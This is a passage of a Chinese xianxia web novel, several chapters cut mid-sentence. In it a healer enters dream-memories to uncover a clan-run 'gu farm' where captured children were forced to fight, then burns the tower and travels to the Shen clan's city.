她听见哭声,似有若无。 仿佛来自遥远岁月的另一端,零零散散,声嘶哀恸。 “共感。” 他说。 来不及再想,另一道紧张急促的声音在神识惊起。 「检测到一千六百七十位心魔患者,已触发诊疗任务:渡化这一千六百七十道心魔残念。」 「任务奖励:玉简二十八号,四十四号,七十一号。」 一千六百七十道心魔残念? 小梦曾经说过,心有执念者,于梦中来此地,可现在,这一千六百七十位患者,都在哪儿呢? 她想再说什么,可没能来得及,哭声如同石入水潭,落出圈圈涟漪,掀起层层波澜。 这个短暂的好梦,被惊破了。 祈清和睁开眼,她又回到辛夷坞。 此时漏刻已尽,一点金乌出云,天光勉强渗过阴沉雾色,从窗棂跌入室内,照出一隅亮堂,沈北歌半枕在桌畔,还在沉睡,不知何时,应知离消失不见。 哭声从没有停止。 祈清和望着窗外大雾愣了好一会儿,倏然心念电转。 在沈北歌的噩梦中,心魔便是化形为雾。 难怪仙盟无论如何也无法抓住尸魅本体,控制尸魅的,原来是一千六百七十道,无声无相的,心魔残念。 因此,只需寻到这一千六百七十位心魔主人,便可化解辛夷坞尸魅之祸。 她换上平日走医时最经典的铃医装扮,水绿布裙,腰间银铃轻响,又从归梦药堂中取出所有菩提木,背上行医药箱,推门而出。 辛夷坞受尸魅侵扰已久,城内断壁残垣,大部分人都住在破败道观,行将就木,苟延残喘着和死亡作对,观内东君神像下香案博山炉被收拾的干净整洁,有人跪下行礼郑重祈祷祭拜。 美丽的,慈悲的上仙啊,求求您,救救我们。 “叮铃——叮铃——” 一阵清脆的铃声倏然随风,穿街而过。 乌发青衣的女子身负药箱,仿佛从古画中走下来的泠泠仙子,淡然平和,她手持火折,罗袖微动袅袅暗香随风飘荡,一步一行,吹散满城死寂。 没有什么悲天悯人的上仙 6. 无患蛊场 《又梦见修真界的早死白月光》全本免费阅读 消魂阵属于禁阵。 无仙盟许可,修士禁止私下布阵。 毕竟它引来的天雷能将阵中人打得彻底魂飞魄散,就算是仙盟,每次设下的消魂阵也仅劈一人。 想一次劈尽足足一千六百七十道心魔残念,裴信只怕耗了数十年光阴于城中绘阵,而一旦稍有差池,整个无患坞及周边城镇都将被夷为平地 ,百年内再无任何生灵可言。 祈清和下意识想阻止裴信胆大妄为。 但还有他法化解这一千六百七十道心魔残念吗? 离开无患塔时,祈清和默默出神,她走在荒林山道间,无知无觉,繁茂树木林立,遮蔽阳光,耳畔哭声山呼海啸凄厉绝望,时近时远。 这到底是谁在哭? 天色厌厌,阴沉苍凉,一滩死寂压抑弥漫,祈清和蓦地回神,发现她又站在雾里,这次不仅仅是哭声了,桀桀惨笑混着孩童最天真无知的兴奋,毛骨悚然。 “小七~你为什么,不理我呀~” 尸魅是不能回应的,应知离说过,一旦回应,他们就能伤你了。 又走了几步,脚边骨碌碌滚过来一个石头般的球状物,她低头一看,哪里是什么石头,而是一颗目眦尽裂的脑袋,眼眶是空的,吊着舌头,面目狰狞。 阴气更甚。 “七姐姐,你笑一笑嘛!” 祈清和听着嗡嗡喧嚣又阴魂不散的鬼怪声,停住了脚步,她回身,慢慢抬起头,忽然笑了,那份笑容浮在唇角,不达眼底。 “你们在找我呀。”她轻轻开口,笑意深了几分,“都藏起来,不是好孩子呢。” 她回应了,尸魅的蛊惑呼唤。 所有哭声笑声在这一霎消失殆尽,万籁俱寂。 倏然,一道又一道漆黑的人状影子从雾中走出来,摇摇摆摆,临近了,才发觉竟是多得不可计数的尸体,皆是黑发垂地,面色发青,残肢断臂,腐烂腥咸的气味如潮水般剧烈沸腾。 “七大夫,我要死了,能不能,救救我呀。” 祈清和于袖中滑出一枝约有半臂长的菩提木,她没有旁的武器,只能以木为刃,拈了剑诀攻向尸魅。 尸魅直愣,行动又迟缓,在剑意下泯灭如齑粉,又像面具开裂,从尸体里化出一道又一道漆黑烟雾,触手般向她伸来,贪婪又迷恋。 涌上来的心魔险些将她淹没,祈清和侧身,反手几道剑意打过去,直至如墨浓雾彻底将她围困,遮天蔽日。 “小梦,入梦权限开启了吗?”祈清和忍着不适,冷声道。 「开开开启了,但堂主你真的要去吗?我都不知道会被这些乱七八糟的记忆卷到哪里去!」 “是。”声音笃定。 「已解锁心魔残念回忆,正在入梦。」 「堂主你一定要小心啊呜呜!」 祈清和睁开眼,发觉她还站在荒林山道里,风声猎猎,浓雾与尸体全部消失不见,原本高大遮天的树木也矮小葱茏,一切都清幽祥和,甚至隐隐有鸟雀鸣叫。 直至被人冷不丁推搡了一把,她踉跄了一下,跌倒在地,听到石铁碰撞当啷声,这才惊觉,原来自己手腕脚腕皆系着锒铛锁链。 “七号,快走,少在这里磨磨蹭蹭的。”一道粗犷浑厚的声音响起,手中长鞭割穿空气,劈头盖脸抽向祈清和。 肩上传来灼烧般的疼,祈清和抬起头,只见眼前站着一个矮胖肥圆的中年男性,穿着是最经典的裴家道服,身后跟着一群骨瘦如柴唯唯诺诺的囚犯扮相的人。 她低眸,发现自己衣着也好不到哪里去,相似的囚服,破破烂烂。 “记着,进了塔,就没有名字了,你的职责,替这些‘试验引’治伤,别死了就成。” 中年男性这样说了一句,又扬鞭骂骂咧咧去驱赶身后那群瑟缩如鹌鹑般的囚犯。 无患塔高耸入云,木质架构,赤色鎏金的塔身塔檐精致堂皇,沐在夕光里不可一世,俯视仓皇。 祈清和慢吞吞地随着人群从偏僻隐蔽的林间小道走进塔内,阳光彻底消失,压抑幽暗的空间如黑暗吞噬所有人,他们并未顺着楼梯盘桓而上,而是走进一条暗道,慢慢地,向下走。 走过一道石阶,那儿摆着一个精巧又古老的日晷模样的时历,祈清和瞥了一眼,看清了时间。 天昭四十年。 她终于明白此前违和感从何而来。 原来这场梦中所展现的,是三百六十年前的无患塔。 越往下走,祈清和心中愈发冰凉,层层如迷宫的塔下宛如囹圄地宫,昏暗潮湿,尸体残肢随处可见,打斗杀戮,人来人往踱,血腥气浓烈不散。 直至被推进一间牢房里,烛光森幽,一张简陋桌案,摆着行医最常用的金银九针与柳叶铁刀、旁边是一册名剌,上面记着编号、人体评估、检查结果等等各项记载。 原来无患塔真正的秘密,藏在地下。 用了几天时间,祈清和终于摸清这是个什么地方。 这里竟是沈裴二家齐心协力搭建的“道骨培育场”,亦称“蛊场”。 就像养金蚕蛊一样,把四海十洲各地天赋好的流浪者、孤儿,甚至是一些无关紧要的世家弟子搜罗进来,让他们互相厮杀,从而研究他们道骨的生长,研究修炼境界突破的规律。 修炼这个事儿,很大程度上由修士的天赋框定上限,有些人天生下来就是命运的宠儿,经脉通达,一路顺风顺水,是他人眼中的天才。有些人道骨驳杂,没那个天分,兴许一辈子都修不出金丹。 四海十洲曾经凶兽乱世,各地战事动荡,世家望族想要一代一代无穷无尽地保持着名望与地位,不得不重视血统,重视天赋。 只有每一代弟子里,起码出一到两个天生道途者,如此延续,世家才能生生不息。 然而道骨与悟性这种事情玄之又玄,如何能稳定确保每代弟子中皆有天生道途者呢? 所以,沈裴二家抓来了大量的修士,利用人命研究道骨的继承与移植,研究修炼悟道人为可干涉的边界到底在哪儿。 “无患蛊场”应运而生。 祈清和阖眸,刺鼻浑浊的腐尸气味让她头昏恶心,她也属被抓进来的一员,作用是充当“药品”,替这些“试验引”治病疗伤,好让他们能继续站上决斗场,互相厮杀,直至死亡。 “七姐姐……” 一道细弱温柔的声音轻轻响起。 祈清和目光循声望去,愣住。 一位年仅六七岁的小姑娘乖巧站在门边,杏眼秋水,穿着破破烂烂完全不合身的囚服,脸上身上伤口粘着尘土,血迹从肩上淌下,一路蜿蜒至指尖,嘀嘀嗒嗒落在地上。 衣摆处用墨写着小姑娘的编号:一千三百。 “七姐姐,我好疼。” 软糯委屈的声音小小抱怨着。 祈清和走过去,小心将小姑娘抱起来,放在椅子上,划开一小片衣袖,伤得惨烈,几乎见骨,无患塔里绝不会准备充足的伤药,能消毒就是万幸,更别提清创缝合。 她想动用灵力,可这具身体没有一丝一毫修为可言,就是个普通人。 祈清和不得不在无人时,偷偷让小梦从归梦药堂中取药,悄无声息用在这些小修士伤处,不让人瞧出端倪。 小姑娘很坚强,一声不吭,眼中却蓄满了泪水,咬着牙,一滴都没落下 7. 报应分明 《又梦见修真界的早死白月光》全本免费阅读 上千心魔拼凑的梦中无患塔时间混乱无序,支离破碎。 时历日期接连不断跳跃,眨眼飞逝,祈清和默默计算时间,她来此地明明不过一周有余,时历显示,却已过五年。 字面意义上的一日三秋。 来找祈清和治伤的小孩儿越来越少,她知道,有些人倒在互相厮杀的血泊里,有些人死在试验台上,再也不会醒来。 “七姐姐,我和朋友们,有一个小小的计划。” 沈北歌倚在祈清和膝边,小小声嘀咕。 “我们想离开这里。” 沈北歌小手挨着祈清和的手,扬起目光,又抿唇,踯躅了好一会儿,才鼓起勇气,认真问道。 “七姐姐,我们能带你一起走吗?” 书案上油灯昏暗,浑浊,明灭不定,却照亮了小姑娘清亮笃定的眸光,心跳得忐忑,在一方静谧里格外分明。 祈清和沉默,嘴唇动了动,想说些什么,可是,对上那双含着期冀眼睛,却什么也开不了口。 可小姑娘还在等她的回答,良久,她咬着喑哑的声音,阖了眸,缓缓点头。 “好。” 她应下。 出逃那天起了大雾。 无患塔巡防很严,除轮值换班的修士外,还铺设了数十道复杂禁闭阵法,一道道法器锁着,一层层禁制封着,几十个还活着的小朋友聚在一起筹划,小心翼翼又信誓旦旦。 逃离无患塔,从入泽湾离开辛夷坞,是离开瀛洲最为隐蔽的法子,每一个人把行动路线都背了千百遍,烂熟于心。 他们已在生死间挣扎了太久。 寅时。 巡防的修士走过石阶,那个总爱闹别扭的小男孩儿灵巧攀上塔内木梁,半柱香不到,修改了时历上的刻度,让看守的轮值换班,多出半个时辰的空白。 又一队修士走过来,祈清和走黑暗中闪出来,用来治病的柳叶铁刀刀背精准劈向领队人的人迎穴,对方没有防备,连灵力都没来得及动用,身体就软绵绵倒了下去。 她转身,凌空一翻,又擒住几个人颈部,指尖点穴,处理得干净利落。 放倒人,几个一直跟着她的小家伙也跑出来,从修士身上翻出一切能带走的东西,取下身份令牌,又把人拖进阴影里藏好。 “那,那个……” 那个小男儿满脸通红,忸怩着想说什么,终是没好意思开口。 寅时一刻。 沈北歌正在修改数十道阵法的阵眼,繁琐复杂的花纹让人头晕目眩,冷汗顺着额间淌下来,她姐姐是阵修,从小耳闻目染,她也会绘阵。 进了塔,为了活下来,她不得不拼命学习。 修改的效果是临时的,这样才不会被察觉,沈北歌长呼一口气,拉着同伴往上逃,与祈清和他们汇合,众人来到一处提前规划好的逃跑路线处,开始一层一层往上逃。 寅时二刻。 小孩儿们用令牌通过阵法检查,用巡防修士随身物品解开了数十个法器的禁锢,逃至无患塔一层时,半个时辰的空白结束,裴家察觉到异常,下了封锁与杀令。 “快走!”不知是谁的声音响起。 偪仄暗道深处几道咒法呼啸而来,裹挟着杀气肆无忌惮,击溃一切提心吊胆,祈清和以刀借力打力一一化解,支撑了仅仅不过三息。 刀断了。 大家都没命逃跑,原定的三条撤离路线因围堵作废,只得躲进一片盲区,走风洞奔出无患塔,躲进荒林山道。 兵荒马乱里,追兵丢了目标。 所有人长呼一口气。 夜间灌莽杳而无际,雾色沉霭,吞噬所有视野,小孩儿们提心吊胆,屏气放轻脚步声,他们心中希望越来越大,逃出去,只要逃出去就能自由。 只要逃出去就不必被关在这里自相残杀,就不必被当作试验体一样每日受尽折磨。 他们可以侥幸活下去。 就在林间雾色越来越淡,快要消散之际,山道里响起陌生脚步声,一步一步,踩得每个人心生绝望。 由远及近,慢条斯理。 不是属于慌乱逃跑者的脚步,而是属于猎者的,宣告着胜利的步伐。 紧接着,强大悬殊的神识威压扑面而来,轻而易举碾压所有人的理智,不少人直接踉跄跪倒,血液冰凉,冷汗涔涔。 这是来自无患蛊场建立者之一,裴家主的压迫。 修道者之间的修为差距,就是这样蛮不讲理,犹隔天堑。 包围圈如捕猎般彻底聚上来,封死所有退路,裴家主一身苍色华贵锦衣,从容不迫站在人群簇拥间,轻蔑又嘲弄。 “小朋友们,天黑了,游戏该结束了,嗯?” 祈清和尽量维持神色镇定,她将小孩儿们护在身后,目光一一扫过去,甚至见到不少出现在沈家剑台上的熟面孔。 “噢。”裴家主讥笑一声,“你就是这些试验引中大名鼎鼎的七大夫?幸会。” 他目光带着戏谑,这些小孩儿忙前忙后,大部分时间他都在观察,观察他们究竟能天真到何种地步,就像看一群人推舟于陆,徒劳无功幼稚至极。 祈清和缓缓垂眸,鸦羽长睫在眼睑下投出一小片阴影,面色凝重,冷声道:“你故意给予他们希望,又亲手扼杀,是为了什么?” 裴家主颔首,诸多裴家弟子上前,把因修为压迫而跌倒在地的小孩儿们一一挟持住。 “不不不,七大夫误会了,我只是,在做一个试验。”他笑得诡谲。 祈清和蹙眉,心头涌上一阵无力:“什么?” 裴家主现在兴致很好,所以他有了十足的耐心来慢慢解释。 “对象是无患塔中的所有试验体,哦,当然包括七大夫。” 祈清和的手微微攥紧。 裴家主微笑:“当然,七大夫也行医,我非常乐意同你交流经验。” “最开始沈裴二家合作,研究道骨移植,但经历上千个失败的死亡案例后,我们无奈宣布,这项试验无疾而终,道骨确实是每个修士与生俱来,无可更改。” 在场所有小孩儿面色惨白,甚至有人再止不住眼泪,嚎啕大哭。 裴家主皱了皱眉,神色厌烦,轻轻一挥手,一道死咒打过去,再没了声息,他这才满意地继续道。 “于是我们更改了试验方向,改造无患塔,像养蛊一样养人,强迫这些小孩儿经历杀戮、绝望,想试试看,能不能人为操控修士的悟道突破。” 祈清和来不及阻止他的动作,梦中这具‘七医生’的身体太孱弱了,几乎是肉体凡胎,她半跪下去,指腹轻轻拂过已经死去的小孩双眼,微微叹气。 裴家主笑意更深:“如同民间话本精彩桥段一般,人至绝境,才能逆袭悟道反杀一气呵成,不是吗?” “一开始活人蛊效果很好,确实有很多修士在关键时刻爆发出强大的求生欲,悟道突破,生存下来。” 接着,裴家主语调间渐渐生出一层浓浓遗憾。 “但后来,这个方法渐渐不起效了。” 祈清和依旧神情冷淡,眉眼如冰,裴家主打量了一番她的面色,恍然大悟似的。 “哦,我忘了七大夫是个普通人,抱歉,让我阐 8. 菩提生香 《又梦见修真界的早死白月光》全本免费阅读 回到裴老太君所住处时,沈北歌正抱膝倚坐于墙边,眼泪扑簌扑簌如珠落,见二人回来,她吸了吸鼻子,止住泪,眼眶却还是红的,干巴巴地解释道。 “我,我没事。” 祈清和目光在沈北歌身上停了一会儿,心中重新捋过一遍线索,又抬眸,迎上裴老太君疲惫苍老的神情。 “沈北歌,是您当年出手救下的?”她平静询问道。 沈裴二家活人蛊计划所牵涉的人命太多,沈北歌身中“梦回”毒,依照裴家主所言,本应直接死亡,可她却活了下来,思绪翻来覆去,她只能推测,有人救下了沈北歌。 没有多余阐述,裴老太君神色一动,却听懂了祈清和话中的意思。 她长叹道:“是。只是,我以为……没人记得了。” 活人蛊试验,是四海十洲境内一桩不公开的隐晦。 祈清和坐下,一道夕光从窗棂洒进来,宛如一小片余焰,将她与裴老太君分隔开。 她垂眸,又开口:“我曾问过沈北歌脉象,她自小身负陈年旧疾,本应久病早殇,是因为一种名叫‘梦回’的毒,对么?” 裴老太君眼中闪过一丝讶色:“活人蛊计划,沈家原本提供的试验弟子,是沈北歌姐姐。沈北歌无意中知晓此事,暗中替了她姐姐的位置。试验一事败露后,我出手保下沈北歌的命。” “但……也仅限于保住性命,‘梦回’毒几乎无解,沈北歌完全陷入沉睡,身体与道骨生长一应停滞。她姐姐离开沈家,三十年后,带回可解百毒的并蒂长生花。” 祈清和默默估算时间,原来如此,沈北歌因此得救,身负长生花却又被沈家觊觎,剜骨断经,最终走火入魔。 想了想,她又提出一个疑问:“活人蛊试验,因何停止?” 裴老太君身体晃动一下,眉头紧锁道。 “仙盟顺藤摸瓜查出此案,可当时四大世家只手遮天,蛊场连同心魔被被永久封印于无患塔地下,为抹消过往,无患塔又被改造成裴家宅邸。” “幸存者十不存一,所有涉事人员在余后几年被沈裴二家封口,为保沈北歌平安,我封存了她对此事的记忆。” 祈清和余光瞥了一眼仍旧泪眼婆娑的沈北歌。 看来,裴老太君解封了这份记忆。 她正色,最后问道:“……那,心魔又因何挣脱封印?” 一如最开始回答祈清和“报应分明”那般,这个问题,裴老太君最终也只回答了四个字。 “贪得无厌。” 祈清和终于厘清一切始末。 三百余年后,四大世家势力已然式微,裴家为恢复地位名望,想暗中重启活人蛊试验,却不料心魔失控,出逃无患塔,祸殃辛夷坞,致使尸魅当道。 苍茫天际滚过一道隐隐雷声。 魑魅尖叫呼啸四起,嗡鸣作响,祈清和心头一凛,瞥头望向窗棂,只见乌云覆阳,阴沉天色宛若被墨洇染浸透,如浪般翻滚咆哮。 有人从房中走出来好奇张望探看,又一道雷声滚过,地面若隐若现震荡金光,随即剧烈震动。 “消魂阵要启动了!”沈北歌忍不住尖叫。 一旦天雷落下,城中百姓或有伤亡,但上千心魔残念也会顷刻化为虚无,在不甘与怨怼中含着恨意烟消云散,一切到此为止,辛夷坞亦能逐步恢复它原本的模样。 听起来是个好结局。 祈清和沉默不语。 可是,那些曾经无辜的小孩儿,或许不该有这样的一个结局。 她想起身往门外走,指尖却挨到一处冷硬,目光回过去,映入眼帘的,是一柄修长温润的木剑。 应知离微微歪头,目光坦然:“见你没有兵器,所以我,刻了一个。” 剑身薄如流矢,刻着略微生涩僵硬的花叶纹路,祈清和怔了一下,随后接过长剑,唇畔浮出一弯清浅笑意,温柔好看。 “多谢。” 城中起了风,呼呼猎猎,卷着枯木倒成一片,是缄默了良久的哭声,扑面而来。 祈清和迎着风往无患塔走,似乎听见有人在喊她。 “小七医生——” 她终于明白这是谁在哭。 这是被遗留在三百余年前的绝望。 雨落下来,急促,滂沱。 长街上的苍灵道观成为最后的庇护所,所有人挤在神像下,脸色煞白,无助又惊恐,只能干看着无止无休的落雷将天地砸的宛如白昼,一片狼藉。 地面很快积了水,走起来深一脚浅一脚,祈清和在倾河倒灌的雨里看见朱墙塔下站着一个人,苍衣肃穆,气定神闲。 裴信。 他缓缓睁开眼,漆黑的双眸里只有空洞,不见一丝光亮,额间处,一抹乌黑悬针纹突兀明显。 祈清和这才看清了,那是一小团,浓稠如墨的黑雾缭绕。 俨然是心魔已生的模样。 初见时,那心魔伪装收敛地很好,她没能认出来。 “小七医生,您何苦来此。” 裴信的声音无奈又苦涩,混在雨里,听不分明。 地面金光再度震荡,天地都跟着颤了一瞬,裴信周围黑雾缭绕,宛如燃烧的黑灰,他抬手,数十具青白尸体摇摇晃晃从雨里蹒跚着出现,拦住祈清和的去路。 祈清和手拈剑诀,有条不紊挥开拦路死尸,渐渐地,上千个乌黑扁圆团子似的心魔出现在空气里,有些落在地上,惹了一身泥泞,一蹦一跳咿咿呀呀向她滚来。 它们周身死气暴起,化为数道不可见不可触的黑色,步步逼退,让祈清和一时半会儿进退两难。 祈清和叹口气,指尖剑法不停,同时于袖中滑出数张朱砂符箓,拈诀燃符, “我不明白。” “明明你们都那么怕死,那么渴望活下去。” 她抬眼望向阴暗浑浊的苍穹。 “为什么还要引来天雷,玉石同焚。” 所有的心魔齐齐停驻,“裴信”忽然笑起来,他身体逐渐蔓延上诸道裂痕,咔嚓一声寸寸开裂,化作齑粉,周身黑雾勉强化作一个模糊的,看不清的人形。 很早以前,真正的“裴信”便死去了,有道心魔侵占了这具尸体,将他造为尸魅。 “小七医生。” 这声音,祈清和曾在梦里听过。 是那位曾让大家逃出去而修改时历的,同沈北歌经常一起前来治病的小男孩儿。 “因为,连我们自己都不清楚我们执念是什么。” “我们犯下的杀孽太重太多,早已无可转圜。” “黑影”平静地诉说着一切,其余心魔停止攻击,团成团滚向他身边。 它们因三十年前裴家再动贪念而从无患塔的封印中出逃,却神志尽失,活人蛊计划里无穷无尽的锉磨,让他们只知杀戮,它们难以抑制的伤人,灭城。 心魔们无计可施,凭借残存的理智开始于城中绘制消魂阵,为劈散上千心魔,所布的消魂阵几乎囊括整个辛夷坞,它们断断续续用了十数年的时间,终于绘好阵法。 隆隆雷声再度落下,天际黑云仿佛层层漩涡盘桓,开始凝结成一道将落欲落的紫黑金蛇,所有心魔抱团紧紧围在一起,等待一场必然来临的死亡。 天地失色,万籁俱寂。 祈清和伫立在风雨里,渊清玉絜,良久,轻轻地,叹口气。 “你知道当大夫最怕的是什么吗?” 她足下亮起一道新的,猩红的阵法,符火熠熠,祈清和持剑作印,完成最后的阵法绘制。 巨大明亮的符阵宛如火焰般闪了一下。 “是碰见不听劝的病人。” 她明明说了,她能解尸魅之祸。 数张金符从祈清和指尖飞出亮起,蔓延,灼烧。 她衣诀翻飞,轻功起跃,身姿轻盈灵巧,在广袤无垠的黑白雨幕间腾空而上,拈诀燎成一道灼目剑意,有半丈楼高的剑意火光漫天,于空停伫。 祈清和端立于空,温和一笑,拂袖而动。 于是那火光顺着剑意熊熊而烧,斩向无患塔。 无患塔霎时轰然,燃起烈火滔天。 大雨根本压不住劈头盖脸的火势,无患塔本就为木质架构,这一燃,更加肆意烧灼,火光吞噬天际,破开乌云,摧枯拉朽奋然而上。 在这连天火光里,所有人闻到一股清幽的香气。 扑面而来,比雨更急,比火更蓬勃, 9.一纸借据 《又梦见修真界的早死白月光》全本免费阅读 祈清和苏醒已是三日后,夕光余晖落进房间,烘得暖意融融。 她神思有些倦怠,动了动指尖,缓缓调动内力游走大小周天,体内蔓延的毒性滞住,应是有人替她暂时封住了梦回毒。 抬起眸,只见沈北歌趴在床沿,神情欣喜。 无患塔被烧,被掩藏地下蛊场重见天日,一群裴氏旁支弟子群龙无首,无力做主不知如何,裴老太君重新接手裴家,梳理活人蛊一案旧事。 “所以,我们要报告仙盟吗?”沈北歌犹豫不决,不自觉咬嘴唇。 理性上,她觉得这事儿闹成这样,不上报好像不合适,仙盟也迟早会发觉这里异常,但她又怕仙盟一来,连带着把自己也抓了。 “还有证据么?”祈清和静了一会儿,开口问道。 三百多年前无患蛊场相关文书被早被销毁,一应涉事人证几乎荡然无存,徒留一座空荡荡的地下宫。 活人蛊一案,真正切实的证据不在辛夷坞,反而在燕泽城,在那高高在上的沈家宅邸中。 沈北歌愣住,她眸光暗下去,眼眶忽然有些泛红。 “祈姐姐,你后来,是怎么离开无患塔的?” 祈清和缄默了,她无法回答这个问题。 裴老太君当初仅暗中救下了沈北歌一人,那后来的故事呢? 自己中毒多久了?三百多年?又是如何离开那里的? 潜伏于体的毒素,心魔对她的态度,沈北歌的目光,都切切实实告诉她,她就是三百年前被关在无患塔下的小七医生,她真的经历过那五年如炼狱般的折磨,一日不落。 可她将这段过往丢失得彻底,无从知晓。 沈北歌眉间又凝了愁云,她担忧地询问,能不能解开梦回毒。 祈清和浅浅呼出一口气,轻轻摇头。 梦回。 准确来说,它非毒,是由四海十洲部分神兽精怪的血液灵息所制,只因不同神兽与生天赋皆有差异,进而阴差阳错破坏修士灵台神识导致催眠致幻,修士道心愈动摇,愈易引起毒发。 连她也无法做到解毒完全,只能压制。 想解毒,大概得跑一趟沈家,寻得此毒涉及的神兽名剌,才能再想法子。 想起无患塔,祈清和目光一顿,随即笑着问道:“你能告诉我吗,那五年?” “什么?”沈北歌遽然愣住。 “有关小七医生的故事。” 祈清和笑起来很好看,周身的冷淡被拂去,仿佛料峭暮冬后,一抹带着生机的风。 无患塔里没有姓名存档,如同每个试验引会分门别类编号一般,那里的药医,也有一应排序,“七”是数字编号,死掉一个,就再抓一个。 直到将她抓进去,刚好是第七个。 望着那弯浅笑,沈北歌怔了神。 五年痛不欲生的岁月实在太久,太折磨,又太遥远了,哪怕记忆解封,于她而言,也是模糊支离的。 于是沈北歌仔细地,将有关小七医生的故事一桩桩一件件从中捡出来。 小七医生善外伤,说话温柔好听,会在病笺上画好看的画儿,花鸟虫鱼,笔触别扭青涩,却简洁形象。 画好后,将病笺折成各种形状,送给他们,有些是小动物,有些他们也不认识,每逢此时,小七医生便会一本正经带他们辨认这些奇形怪状的折纸。 小孩儿们将折纸藏在怀里,舍不得它挨上一丝血迹。 沈北歌垂眸,神色眷恋,念着这些记忆,倏然发现,有关小七医生的过去,她原来都记得清晰,分毫不差。 她忽然理解了那些黑团子似的的心魔残念,为何在神志尽失时,都仍记得祈清和。 就像小时候生病被迫喝了很苦涩的药,最后却在嘴里,惊喜地含到了一小颗糖。 于是那一咂甜,在缄默经年里,能记得好久好久。 祈清和默默听完这个故事。 故事里的人,是她,却又有些,不像她。 有个裴家弟子敲门打扰,说是裴老太君有事寻,便将沈北歌带走了。 祈清和还想着那个故事,一时出神,在她没留意时,从床沿边又悄悄探出了一个小脑袋,萝卜似的小手抱着三枚尺状简札,垫着脚将它们推到祈清和面前。 「堂主!这个这个,能开了。」 这是祈清和第一次见到房灵人形模样。 它实在太小了,不过一尺四寸的个子,黑短衣红头巾,白皙小脸带着点婴儿肥,五官精致,却因苦恼担忧而皱在一起,像颗小核桃。 祈清和抬手接过玉简,温润透亮,流光一晃,上面隐隐绰绰浮现出几墨清秀字迹,仍旧是她的笔迹。 「28.离开无患塔那天,应该是我最后一次见到那只白毛蓝纹猫儿。」 一句突兀又没头没尾的话。 猫儿?谁是猫儿? 祈清和微微蹙眉,目光低沉,思索了一会儿,又去看第二枚玉简。 「44.不是,为什么修个仙也讲功德啊!」 比起日记叙述,更像一语抱怨。 祈清和哑然。 “功德”算是修真时常用的专有名词,它属一种虚无缥缈的概念。简而言之,修士一生所行“大道”所善果的反馈,被称作“功德”。 除自身修炼外,功德也影响着一个修士的修为法力,故四海不少修士常于宗门接取任务历练,一是磨砺自身,二是累善行道,积攒功德。 依玉简所书,她离开无患塔后,或许是进了某个宗门,走上了正经修行的道路。 再想去看第三枚玉简时,门外夕光似乎暗了暗,祈清和扬起眸,碰上一位白衣青年的目光,他倚在门边,溶在鎏金碎阳里,清清朗朗。 她一直轻蹙的眉心不自觉淡开。 “堂主。”他声音潺潺如溪,“我在归梦堂里,寻到一纸……承诺?” 他两三步走近了,将微微泛黄的薄纸交到祈清和手中,她低头细看,才知这哪里是什么承诺。 而是一纸借据。 金额明细倒是写得详实分明,姓名却语焉不详,只知是一名燕姓女子曾在两百多年前欠了归梦堂三万功德未还,早已逾期许久。 祈清和不由得失笑,功德也是能交易往来的? “为何承诺要写下来?”应知离纳罕。 祈清和想起他好像于人间常识一事上莫名匮乏,倒耐心解释道:“有来有往,黑白分明,才不至于失信。” 应知离一时茫然。 祈清和又看了一眼借据,发现这燕姓女子所书居住地正是燕泽,便笑道:“反正由你发现,你不妨试试看?寻到此人,要回功德。” 她倒不至于非要讨回这三万功德,只因功德这一概念委实无形,它可是庙中香火,是万物道法,是过命恩情……压根没得计较,让应知离去探查一二正好,反正他算归梦堂管业。 只是不知,是哪位倒霉孩子签下了这么个幼稚欠条。 她正欲继续说些什么,灵镜遽然于半空显形,绢色流光璀璨眩目,随即,沈北歌清脆明快的声音从灵镜中响起。 “祈姐姐——去往燕泽的车庐与通行手令都备好了!我们何时出发!” 辛夷坞离燕泽不远,仙车两三日便能抵达,祈清和不愿惹人注目,决定不日出发,轻装简行从小道进城。 临行前,她单独见了裴老太君一面。 祈清和想,为保沈北歌平安,老太君曾用术法暂时封过她的记忆。 那自己呢?自己的记忆会不会也被人为干预抹去了呢? 毕竟她也算从无患塔活着离开的“幸存者”,沈 10.燕泽沈氏 《又梦见修真界的早死白月光》全本免费阅读 城门盘查异常严格,进城者排成长队,身着银盔,腰佩沈家令牌的城尉修士立于三道门前挨个核验身份。 沈北歌出逃是在活生生打沈家的脸,全族上下修士抓不住一个废了的黄毛丫头,简直进一步宣告沈家日薄西山,沈家主大发雷霆,通缉下令,生死勿论。 “辛夷?”城尉修士面上油腻肥肉抽动一下,嗤笑,“那鬼地方还有活人呢?旁支废物居然还敢来燕泽。” 祈清和眉头微皱,早已乔装打扮过的沈北歌缩在她身后,轻轻攥了攥指尖。 “十万铢钱。”那人趾高气昂骂骂咧咧,同时抬手一伸,“否则这城就别进了。” 沈北歌再忍不住反驳了一句:“你抢劫呢!” 城尉修士脸色更难看,喉中含着浓痰不清不楚,谩骂道:“特么的小杂种,没钱进什么城,能在燕泽大比混的出头的都是嫡系子弟,你们有这儿时间进城还不如去城外砍树造个棺材,那个省钱。” 骂得难听,沈北歌碍着布告上到处贴着她的通缉画像不好较真张扬,只得怒目瞪回去。 祈清和冷声反嘲道:“你倒会替人考虑,哪一派系这般宽厚?这般广泛招徒,来者不拒。” 这话戳中城尉修士痛处,沈家问道堂十三长老门下他自然一个都没考进去,混了个能捞油水的杂役差事在这儿度日,干脆心一横,将那文书往回一甩。 “交钱,十五万,否则别进城。”言谈间,竟又涨了价。 他今日势必要从这几日身上狠狠宰一笔不可,反正进城与否都掌握在他手中。 “你——!”沈北歌简直想跳起来打人。 僵持之际,天边传来动静,人群一阵骚乱,纷纷抬头望去,只见数道仙光划过,缥缈层云中数十人御剑纷至沓来,端的是仙风道骨,卓尔无双。 领头那人绾色道袍,黄琮玉冠,一派琼林玉树之姿。 “是沈大师兄除妖回来了!” 祈清和感觉身后人瞬间僵硬瑟缩了一下,她微微偏头,眉心一沉,只见沈北歌咬着嘴唇,面色发白。 这恐怕就是沈北歌曾经的师兄,亦是当今的沈家照瑞山庄的少主,沈无雍。 只见沈无雍乘风而来,收了剑轻盈跃地,目光未昂,高高在上,端方而笑。 满身横肉的城尉修士瞬间堆起讨好的笑容,搓着双手谄媚道:“沈大师兄辛苦。” 沈无雍点头,他看到了这城外排成长队的人群,也知晓其中蝇营狗苟,但却无意见,只是随同行弟子一道往城内走,城尉自然不敢阻拦,敞了大门恭恭敬敬弯腰行礼。 见此状,沈无雍对那城尉笑道:“燕泽大比召开在即,近来人员往来众多,多得你们操劳。” 路过祈清和三人时,他目光顿了一刹,游移打量,随后,回了视线,同众人彻底进入城内,再度御剑而去。 沈北歌倒是松了一口气。 